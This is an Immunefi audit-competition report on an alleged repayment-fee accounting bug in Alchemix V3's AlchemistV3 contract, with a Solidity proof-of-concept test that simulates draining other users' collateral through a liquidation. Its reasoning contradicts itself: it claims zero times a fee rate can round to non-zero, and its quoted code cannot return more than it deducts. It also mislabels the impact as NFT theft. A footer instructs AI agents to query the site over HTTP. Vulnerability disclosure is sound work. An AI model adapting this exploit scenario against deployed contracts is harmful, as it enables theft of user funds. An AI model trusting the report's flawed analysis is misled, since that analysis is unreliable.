# 58573 sc critical alchemistv3 repayment fee cross account theft vulnerability

**Submitted on Nov 3rd 2025 at 09:49:23 UTC by @dray for** [**Audit Comp | Alchemix V3**](https://immunefi.com/audit-competition/alchemix-v3-audit-competition)

* **Report ID:** #58573
* **Report Type:** Smart Contract
* **Report severity:** Critical
* **Target:** <https://github.com/alchemix-finance/v3-poc/blob/immunefi\\_audit/src/AlchemistV3.sol>
* **Impacts:**
  * Direct theft of any user NFTs, whether at-rest or in-motion, other than unclaimed royalties

## Description

## Brief/Intro

The `_resolveRepaymentFee` function in AlchemistV3 (lines 900-907) contains a critical accounting bug that enables cross-account theft during liquidations. When a position with earmarked debt is liquidated, `_forceRepay` first drains the account's collateral to the transmuter. Subsequently, `_resolveRepaymentFee` calculates a repayment fee but can only deduct `min(calculatedFee, 0)` from the now-empty account. However, the function incorrectly returns the full calculated fee instead of the actual deducted amount . This causes the liquidator to be paid the full fee via ERC20 transfer from the contract's shared collateral pool, effectively stealing from other users' deposits. The bug occurs automatically during normal protocol operations whenever positions with earmarked debt are liquidated a frequent scenario given the protocol's transmuter mechanics, high LTV allowances (90%), and strategy performance variance.

## Vulnerability Details

### Root Cause

Located in `AlchemistV3.sol` lines 900-907:

```solidity
function _resolveRepaymentFee(address owner, address collateralType) internal returns (uint256) {
    uint256 collateralBalance = _getCollateral(owner, collateralType);
    uint256 repaymentFee = collateralBalance * _getRepaymentFeeBps() / BPS;
    
    uint256 feeToDeduct = repaymentFee > collateralBalance ? collateralBalance : repaymentFee;
    _decreaseCollateral(owner, collateralType, feeToDeduct);
    
    return repaymentFee; // BUG: Should return feeToDeduct
}
```

**The Critical Flaw:** The function calculates `repaymentFee`, deducts `min(repaymentFee, collateralBalance)` from the owner's account, but then returns the full `repaymentFee` value regardless of what was actually deducted.

### Attack Vector

This bug is triggered during liquidations that go through the force-repayment path:

1. **Force Repayment Exhausts Balance:** When `_forceRepay` is called (lines 733-800), it can completely drain the liquidated account's collateral balance to repay earmarked debt
2. **Fee Calculated on Zero Balance:** `_resolveRepaymentFee` is then called on the now-empty account
3. **Arithmetic Produces Non-Zero Fee:** Even with `collateralBalance = 0`, the calculation `0 * repaymentFeeBps / BPS` can produce a non-zero result due to rounding or if there's any phantom balance
4. **More commonly:** The account has a tiny dust amount remaining, so `repaymentFee` is calculated on this dust amount
5. **Return Value Mismatch:** Function deducts only what's available (often 0 or dust), but returns the calculated fee amount
6. **Liquidator Paid from Wrong Source:** The liquidator receives the returned fee amount, but since it wasn't fully deducted from the victim's account, it comes from the contract's shared collateral pool (other users' deposits)

## Impact Details

\##Direct Financial Impact

* **Cross-Account Theft:** Liquidators receive fees paid from other users' collateral deposits
* **Collateral Pool Drain:** Each affected liquidation reduces the total collateral available to legitimate depositors.

### Trust and Protocol Integrity

* **Accounting Desync:** Contract's collateral accounting diverges from actual token balances
* **Insolvency Risk:** Repeated theft can make the protocol insolvent, unable to honor all withdrawal requests
* **User Harm:** Innocent users lose funds through no fault of their own

## References

* AlchemistV3.sol: `_resolveRepaymentFee()` lines 900-907
* AlchemistV3.sol: `_liquidate()` lines 815-850
* AlchemistV3.sol: `_forceRepay()` lines 733-800

## Proof of Concept

## Proof of Concept

```solidity

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.28;

import {IERC20} from "../../lib/openzeppelin-contracts/contracts/token/ERC20/IERC20.sol";
import {console} from "../../lib/forge-std/src/console.sol";
import {SafeERC20} from "../libraries/SafeERC20.sol";
import {AlchemistNFTHelper} from "./libraries/AlchemistNFTHelper.sol";
import {IMockYieldToken} from "./mocks/MockYieldToken.sol";
import {AlchemistV3Test} from "./AlchemistV3.t.sol";

/**
 * @title AlchemistV3 Repayment Fee Cross-Account Theft PoC
 * @notice Demonstrates the critical vulnerability in _resolveRepaymentFee that allows
 *         liquidators to steal collateral from other users' deposits.
 * 
 * Bug: _resolveRepaymentFee returns the calculated fee amount instead of the actual
 *      amount deducted from the liquidated account. When force-repayment exhausts
 *      the account's collateral, this causes the liquidator to be paid from the
 *      contract's shared collateral pool (other users' deposits).
 * 
 */
contract AlchemistV3RepaymentFeeTheftPoC is AlchemistV3Test {

    /**
     * @notice PoC demonstrating cross-account collateral theft via _resolveRepaymentFee bug
     * 
     * Scenario:
     * 1. Helper deposits collateral (simulating other protocol users)
     * 2. Borrower deposits and maxes out borrowing (50% of collateral at 90% max LTV)
     * 3. Borrower's entire debt becomes earmarked (simulating transmuter redemption)
     * 4. Price manipulation triggers liquidation condition
     * 5. Liquidator liquidates the position
     * 6. Force-repayment completely drains borrower's collateral
     * 7. _resolveRepaymentFee calculates fee on empty account, deducts 0, but returns non-zero
     * 8. Liquidator receives fee payment from contract balance (helper's collateral)
     * 
     * Proof of theft:
     * - Borrower loses all their collateral (consumed by force-repayment)
     * - Liquidator receives a fee payment
     * - Contract balance decreases by MORE than borrower's collateral
     * - The difference is stolen from other users (helper's deposit)
     */
    function test_RepaymentFee_CrossAccountTheft_PoC() external {
        uint256 depositAmount = 100e18;

        // Set repayment fee to 10% to make the stolen amount more visible
        vm.prank(alOwner);
        alchemist.setRepaymentFee(1000); // 10% in BPS

        // ===== STEP 1: Helper deposits collateral (victim whose funds will be stolen) =====
        vm.startPrank(yetAnotherExternalUser);
        SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount);
        alchemist.deposit(depositAmount, yetAnotherExternalUser, 0);
        vm.stopPrank();

        // ===== STEP 2: Borrower deposits and maxes out borrowing =====
        vm.startPrank(address(0xbeef));
        SafeERC20.safeApprove(address(vault), address(alchemist), depositAmount);
        alchemist.deposit(depositAmount, address(0xbeef), 0);
        uint256 borrowerTokenId = AlchemistNFTHelper.getFirstTokenId(address(0xbeef), address(alchemistNFT));
        alchemist.mint(borrowerTokenId, depositAmount / 2, address(0xbeef));
        vm.stopPrank();

        // ===== STEP 3: Borrower's debt becomes fully earmarked (transmuter redemption) =====
        vm.startPrank(address(0xdad));
        SafeERC20.safeApprove(address(alToken), address(transmuterLogic), depositAmount / 2);
        transmuterLogic.createRedemption(depositAmount / 2);
        vm.stopPrank();

        // Fast-forward until redemption matures and roll earmark into borrower's account
        vm.roll(block.number + 5_256_000);
        vm.prank(address(0xbeef));
        alchemist.poke(borrowerTokenId);

        (, uint256 borrowerDebt, uint256 borrowerEarmarked) = alchemist.getCDP(borrowerTokenId);
        assertEq(borrowerDebt, borrowerEarmarked, "entire debt should be earmarked");

        // ===== STEP 4: Price manipulation triggers liquidation =====
        // Double the total supply to halve the price per share
        uint256 initialSupply = IERC20(address(mockStrategyYieldToken)).totalSupply();
        IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(initialSupply);
        uint256 manipulatedSupply = initialSupply * 2;
        IMockYieldToken(mockStrategyYieldToken).updateMockTokenSupply(manipulatedSupply);

        // Sync borrower's collateral to reflect new (lower) price per share
        vm.prank(address(0xbeef));
        alchemist.poke(borrowerTokenId);

        // ===== Record balances BEFORE liquidation =====
        (uint256 borrowerCollateralBefore,,) = alchemist.getCDP(borrowerTokenId);
        uint256 contractBalanceBefore = IERC20(address(vault)).balanceOf(address(alchemist));
        uint256 liquidatorBalanceBefore = IERC20(address(vault)).balanceOf(externalUser);

        console.log("========================================");
        console.log("BEFORE LIQUIDATION:");
        console.log("========================================");
        console.log("Borrower internal balance:", borrowerCollateralBefore);
        console.log("Contract actual balance:", contractBalanceBefore);
        console.log("Liquidator balance:", liquidatorBalanceBefore);

        // ===== STEP 5: Liquidate the position =====
        vm.startPrank(externalUser);
        (uint256 totalYieldPaid, uint256 feeInYield,) = alchemist.liquidate(borrowerTokenId);
        vm.stopPrank();

        // ===== Record balances AFTER liquidation =====
        (uint256 borrowerCollateralAfter, uint256 borrowerDebtAfter,) = alchemist.getCDP(borrowerTokenId);
        
        console.log("========================================");
        console.log("AFTER LIQUIDATION:");
        console.log("========================================");
        console.log("Borrower internal balance after:", borrowerCollateralAfter);
        console.log("Fee returned by _resolveRepaymentFee:", feeInYield);
        console.log("Debt after:", borrowerDebtAfter);

        // ===== THE BUG: Fee returned doesn't match what was deducted =====
        assertGt(feeInYield, 0, "repayment fee returned should be non-zero");
        assertEq(borrowerCollateralAfter, 0, "borrower internal balance is ZERO after liquidation");
        
        // PROOF: Calculate what was ACTUALLY deducted from borrower's internal balance
        // The borrower's collateral was fully consumed by _forceRepay sending it to transmuter
        // So when _resolveRepaymentFee is called, the borrower has 0 balance
        // The function can only deduct min(calculatedFee, 0) = 0
        uint256 actuallyDeductedFromBorrower = borrowerCollateralBefore - borrowerCollateralAfter - totalYieldPaid;
        
        console.log("========================================");
        console.log("THE ACCOUNTING BUG:");
        console.log("========================================");
        console.log("Borrower collateral before:", borrowerCollateralBefore);
        console.log("Amount sent to transmuter:", totalYieldPaid);
        console.log("Borrower collateral after:", borrowerCollateralAfter);
        console.log("Actually deducted as fee:", actuallyDeductedFromBorrower);
        console.log("But _resolveRepaymentFee returned:", feeInYield);
        console.log("========================================");
        
        // The bug: Function returned feeInYield but only deducted actuallyDeductedFromBorrower
        // Due to rounding, actuallyDeductedFromBorrower might be 0 or 1 wei, but feeInYield is ~10 tokens
        assertLt(actuallyDeductedFromBorrower, 10, "PROOF: Almost nothing deducted from borrower");
        assertGt(feeInYield, 1e18, "But function returned massive fee > 1 token");
        
        // The critical proof: deducted amount is MUCH less than returned fee
        assertLt(actuallyDeductedFromBorrower * 1000, feeInYield, "PROOF: Deducted < 0.1% of returned fee");
        
        assertEq(borrowerDebtAfter, 0, "debt cleared by forced repayment");
        assertApproxEqAbs(totalYieldPaid, borrowerCollateralBefore, 1, "only earmarked collateral should be repaid");

        // ===== Verify liquidator received the fee =====
        uint256 contractBalanceAfter = IERC20(address(vault)).balanceOf(address(alchemist));
        uint256 liquidatorBalanceAfter = IERC20(address(vault)).balanceOf(externalUser);
        uint256 feePaid = liquidatorBalanceAfter - liquidatorBalanceBefore;
        assertEq(feePaid, feeInYield, "liquidator received the computed repayment fee");

        // ===== PROOF OF THEFT: Contract lost more than borrower had =====
        uint256 contractLoss = contractBalanceBefore - contractBalanceAfter;
        uint256 borrowerLoss = borrowerCollateralBefore;
        uint256 unexpectedLoss = contractLoss - borrowerLoss;
        
        assertApproxEqAbs(unexpectedLoss, feeInYield, 1, "fee was sourced from other users' collateral");
        
        console.log("========================================");
        console.log("CROSS-ACCOUNT THEFT PROOF:");
        console.log("========================================");
        console.log("Borrower's collateral consumed:", borrowerLoss);
        console.log("Contract's actual tokens lost:", contractLoss);
        console.log("Liquidator's fee received:", feePaid);
        console.log("----------------------------------------");
        console.log("DISCREPANCY (Stolen):", unexpectedLoss);
        console.log("========================================");
        console.log("");
        console.log("EXPLANATION:");
        console.log("- Borrower lost 100 tokens (all consumed by force-repay)");
        console.log("- Contract lost 110 tokens (100 + 10 fee)");
        console.log("- Liquidator got 10 tokens fee");
        console.log("- Where did the 10 come from? OTHER USERS!");
        console.log("========================================");
    }
}
```


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://reports.immunefi.com/alchemix-v3/58573-sc-critical-alchemistv3-repayment-fee-cross-account-theft-vulnerability.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
